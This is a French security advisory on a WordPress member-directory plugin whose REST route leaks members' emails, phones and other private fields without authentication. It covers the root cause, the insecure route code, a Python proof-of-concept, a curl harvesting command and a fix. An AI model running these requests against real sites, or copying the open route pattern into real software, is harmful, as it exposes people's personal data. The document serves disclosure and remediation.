
Exploit de preuve de concept et avis technique pour une divulgation de données personnelles (PII) de membres sans authentification dans un plugin WordPress d'annuaire basé sur l'API REST, incluant une analyse de la cause racine, le code PoC et des recommandations de remédiation.
CVE-2026-13736 est une vulnérabilité de divulgation non authentifiée des données personnelles identifiables (PII) des membres affectant l'extension WordPress NewPath WildApricotPress Add-on – Annuaire des membres, dans les versions antérieures ou égales à la version 1.0.0. Elle a été découverte et analysée par le chercheur en cybersécurité Huynh Kien Minh (MinhHK). Le défaut réside dans l'architecture de routage de l'API REST personnalisée de l'extension, où les points de terminaison de l'annuaire des membres n'appliquent pas les contrôles d'accès à la confidentialité sur les champs restreints. Par conséquent, des visiteurs distants non authentifiés peuvent interroger les routes REST publiques pour récolter des données confidentielles des membres, notamment des adresses e-mail privées, des numéros de téléphone personnels et des attributs de l'annuaire des membres explicitement configurés comme réservés aux membres. Cette exposition de données sensibles viole les frontières de confidentialité attendues et permet des campagnes de phishing ciblées, du credential stuffing et un profilage non autorisé au sein des organisations concernées. Le chercheur en sécurité Huynh Kien Minh a vérifié cette vulnérabilité avec un score CVSS 3.1 de 5,3 (Moyen) (CWE-284 / CWE-200), recommandant un durcissement immédiat des permissions des points de terminaison REST, une vérification de la confidentialité au niveau des champs et l'assainissement des réponses JSON sérialisées de l'API des membres.
Liens rapides : Explorez le Portfolio Cybersécurité officiel du chercheur ou consultez l'avis WPScan officiel.
| Paramètre | Spécification technique |
|---|---|
| Identifiant de vulnérabilité | CVE-2026-13736 |
| Logiciel cible | Extension NewPath WildApricotPress – Annuaire des membres (extension WordPress) |
| Slug de l'extension | newpath-wildapricotpress-add-on-member-directory |
| Versions vulnérables | <= 1.0.0 |
| Classe de vulnérabilité | Contrôle d'accès inapproprié / Exposition d'informations (CWE-284 / CWE-200 / CWE-862) |
| Score CVSS v3.1 | 5,3 (Moyen) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Découvreur / Chercheur | Huynh Kien Minh (MinhHK) |
| Autorité de vérification | WPScan / MITRE Corporation / NVD |
| Référence de l'avis WPScan | Rapport WPScan 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| Référence NVD | Détail NVD CVE-2026-13736 |
| Veille sur les menaces Feedly | Hub Feedly CVE-2026-13736 |
| Portfolio du chercheur | https://minhhk.web.app/ |
La cause racine de CVE-2026-13736 provient de l'implémentation du contrôleur de l'API REST de l'extension. L'extension enregistre une route publique de l'API REST WordPress (par exemple, /wp-json/wildapricot/v1/members ou /wp-json/newpath-wap/v1/directory) pour faciliter le rendu côté client des annuaires des membres et des fiches de contact.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true', autorisant les requêtes HTTP GET non authentifiées provenant de n'importe quelle origine.Avertissement éthique : Ce Proof-of-Concept est fourni strictement pour la vérification de la vulnérabilité, la recherche défensive et la divulgation responsable par le chercheur en sécurité Huynh Kien Minh.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
NewPath WildApricotPress Add-on – Member Directory vers la dernière version corrigée (> 1.0.0).Appliquez des contrôles de confidentialité au niveau des champs lors de la sérialisation des réponses :
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
Huynh Kien Minh (MinhHK) est un chercheur en sécurité de l'information et ingénieur logiciel spécialisé dans l'audit du cœur de WordPress et de ses extensions, l'évaluation des vulnérabilités de l'API REST et la divulgation responsable au sein de l'écosystème open source mondial.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}